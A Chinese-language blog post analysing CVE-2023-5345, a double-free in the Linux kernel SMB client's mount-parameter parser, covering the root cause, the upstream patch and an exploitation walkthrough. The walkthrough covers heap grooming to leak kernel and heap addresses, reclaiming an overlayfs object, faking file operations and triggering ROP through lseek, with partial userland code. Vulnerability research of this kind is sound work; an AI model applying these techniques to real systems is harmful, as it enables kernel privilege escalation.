CVE-2023-5345 Linux内核 SMBFS 模块 UAF 漏洞分析与利用
hackedbylh 发表于 上海 漏洞分析 1090浏览 · 2024-01-23 07:18

CVE-2023-5345 Linux内核 SMBFS 模块 UAF 漏洞分析与利用

漏洞分析

smbfs 文件系统暴露了 smb3_fs_context_parse_param 接口,用户态可通过 SYS_fsconfig 系统调用触发该接口

syscall(SYS_fsconfig, fsfd, FSCONFIG_SET_STRING, "max_credits", "19", 0);

漏洞根因是 smb3_fs_context_parse_param 在解析出错时会进入 cifs_parse_mount_err 通过 kfree_sensitive 释放 ctx->password,但是没有将指针置空,会导致 Double Free 的问题.

static int smb3_fs_context_parse_param(struct fs_context *fc,
                      struct fs_parameter *param)
{

    case Opt_max_credits:
        if (result.uint_32 < 20 || result.uint_32 > 60000) {
            cifs_errorf(fc, "%s: Invalid max_credits value\n",
                 __func__);
            goto cifs_parse_mount_err;  // 入参不符合规范
        }
        ctx->max_credits = result.uint_32;
        break;

 cifs_parse_mount_err:
    kfree_sensitive(ctx->password);
    return -EINVAL;
}

分配 ctx->password 的代码如下

case Opt_pass:
        kfree_sensitive(ctx->password);
        ctx->password = NULL;
        if (strlen(param->string) == 0)
            break;

        ctx->password = kstrdup(param->string, GFP_KERNEL);
        if (ctx->password == NULL) {
            cifs_errorf(fc, "OOM when copying password string\n");
            goto cifs_parse_mount_err;
        }
        break;

用户态对应触发代码

syscall(SYS_fsconfig, fsfd, FSCONFIG_SET_STRING, "password", password, 0)

漏洞触发步骤:

  1. 首先通过 Opt_pass 分配 ctx->password
  2. fsconfig 执行 Opt_max_credits 分支并传入错误的参数,会导致 ctx->password 被释放但是指针没有被置空
  3. 关闭文件系统对应 fd 导致 ctx->password 再次被释放

补丁分析(https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e6e43b8aa7cd3c3af686caf0c2e11819a886d705)

diff --git a/fs/smb/client/fs_context.c b/fs/smb/client/fs_context.c
index e45ce31bbda717..a3493da12ad1e6 100644
--- a/fs/smb/client/fs_context.c
+++ b/fs/smb/client/fs_context.c
@@ -1541,6 +1541,7 @@ static int smb3_fs_context_parse_param(struct fs_context *fc,

  cifs_parse_mount_err:
    kfree_sensitive(ctx->password);
+   ctx->password = NULL;
    return -EINVAL;
 }

释放 password 后将指针置空

漏洞利用

首先通过构造 user_key_payload 和 shm_file_data 结构体的重叠泄露 vm_ops 获取内核基地址

struct shm_file_data {
    int id;
    struct ipc_namespace *ns;
    struct file *file;
    const struct vm_operations_struct *vm_ops;
};

具体步骤如下:

  1. 在 kmalloc-32 里面分配 ctx->password
  2. 触发漏洞释放 ctx->password
  3. 分配 user_key_payload 占位刚刚释放 ctx->password
  4. 再次释放 ctx->password 导致 user_key_payload 被释放
  5. 大量分配 shm_file_data 占位刚刚释放 user_key_payload
  6. 此时 user_key_payload 和 shm_file_data 重叠,通过 user_key_payload 读出 shm_file_data 的内容完成地址泄露

然后通过 simple_xattr 和 user_key_payload 泄露堆地址用于布置 rop gadget 和伪造对象

struct simple_xattr {
    struct list_head list;
    char *name;
    size_t size;
    char value[];
};

simple_xattr 有以下特点比较适合做堆地址泄露:

  • value 部分的数据由用户态控制,可以灵活选择 xattr 的 大小
  • 通过一个文件的多个 xattr 通过 list 双向链表管理,通过泄露 list 就可以找到存放用户数据的堆地址

具体的堆地址泄露流程如下:

  1. 利用漏洞让 simple_xattr (VX) 和 user_key_payload 在 kmalloc-96 上重叠
  2. 然后再次通过 simple_xattr_set 给 VX 对应的文件增加一个 8192 大小的 xattr,新分配的 xattr 会插入到 VX 的 list->prev
  3. 利用 user_key_payload 读取 VX->list.prev 就能泄露 kmalloc-8192 中的地址( simple_xattr_kmalloc_8192_addr ),里面存放用户态的数据.

新增 xattr 时操作 xattr->list 的相关代码如下:

int simple_xattr_set(struct simple_xattrs *xattrs, const char *name,
             const void *value, size_t size, int flags,
             ssize_t *removed_size)
{
    ................
    list_add(&new_xattr->list, &xattrs->head);
    xattr = NULL;
    ................
}

新增 xattr 前后链表结构如下:

利用上述步骤获取两个 kmalloc-8192 的地址分别用于存放伪造的 ops 结构体、 file 结构体和 rop gadget,目的是利用 Double Free 占位 ovl_dir_file 实现控制流劫持

static int ovl_dir_open(struct inode *inode, struct file *file)
{
    struct path realpath;
    struct file *realfile;
    struct ovl_dir_file *od;
    enum ovl_path_type type;

    od = kzalloc(sizeof(struct ovl_dir_file), GFP_KERNEL); // allocation happened here.
    if (!od)
        return -ENOMEM;

    type = ovl_path_real(file->f_path.dentry, &realpath);
    realfile = ovl_dir_open_realfile(file, &realpath);
    if (IS_ERR(realfile)) {
        kfree(od);
        return PTR_ERR(realfile);
    }
    od->realfile = realfile;
    od->is_real = ovl_dir_is_real(file->f_path.dentry);
    od->is_upper = OVL_TYPE_UPPER(type);
    file->private_data = od;

    return 0;
}

具体思路:

  1. 利用 Double Free 实现 ovl_dir_file 结构体的 UAF
  2. 然后 利用 ramfs_parse_param 占位 ovl_dir_file,并控制其 od->realfile 指向上一步泄露的堆地址中
  3. 在伪造的 realfile 中让其 f_op 指向另一个泄露的堆地址,从而控制函数指针
  4. 触发 vfs_llseek(od->realfile, offset, origin) 实现控制流劫持

转换为 ovl_dir_file UAF的示意图如下:

PS: 利用 Double Free 将占位的 ovl_dir_file 释放

使用 ramfs_parse_param 占位 ovl_dir_file 的相关代码如下:

SYSCALL_DEFINE5(fsconfig,
        int, fd,
        unsigned int, cmd,
        const char __user *, _key,
        const void __user *, _value,
        int, aux)
{
  ...
    struct fs_parameter param = {
        .type   = fs_value_is_undefined,
    };
  ...

  switch (cmd) {
  ...
    case FSCONFIG_SET_STRING:
        param.type = fs_value_is_string;
        param.string = strndup_user(_value, 256); // string buffer allocation happened here.
        if (IS_ERR(param.string)) {
            ret = PTR_ERR(param.string);
            goto out_key;
        }
        param.size = strlen(param.string);
        break;
  ...
  }

利用 FSCONFIG_SET_STRING 的 value 可以控制分配的数据和大小,对应到用户态代码如下:

struct ovl_dir_file *od = (struct ovl_dir_file*)overwrite_buf;
  od->realfile = fake_file_addr;
  overwrite_buf[sizeof(struct ovl_dir_file)] = 0;

  for (int i = 0; i < 2; i++)
    syscall(SYS_fsconfig, overwrite_ovl_dir_file_fsfds[i], FSCONFIG_SET_STRING, "source", overwrite_buf, 0);  // 多次分配确保占位刚刚释放的 ovl_dir_file

被劫持后的 ovl_dir_file 示意图如下:

在 kmalloc-8192 #1 和 kmalloc-8192 #2 分别伪造 file 结构体和 f_op

然后用户态对 ovl_dir_file 的 fd 调用 lseek 系统调用就会执行 rop.

lseek(trigger_code_execution_fd, rop_stack, SEEK_CUR);

总结

  • 利用 simple_xattr 结构中的双向链表指针泄露堆地址的思路值得借鉴,以往的漏洞利用中也有一些利用链表泄露堆地址的思路,比如:msg_msg、nft_set等.
  • user_key_payload 用来泄露数据也比较常见,在 netlink 子系统里面还有 nft_object、nft_table 等结构也能达到类似的效果.

参考资料

0 条评论
某人
表情
可输入 255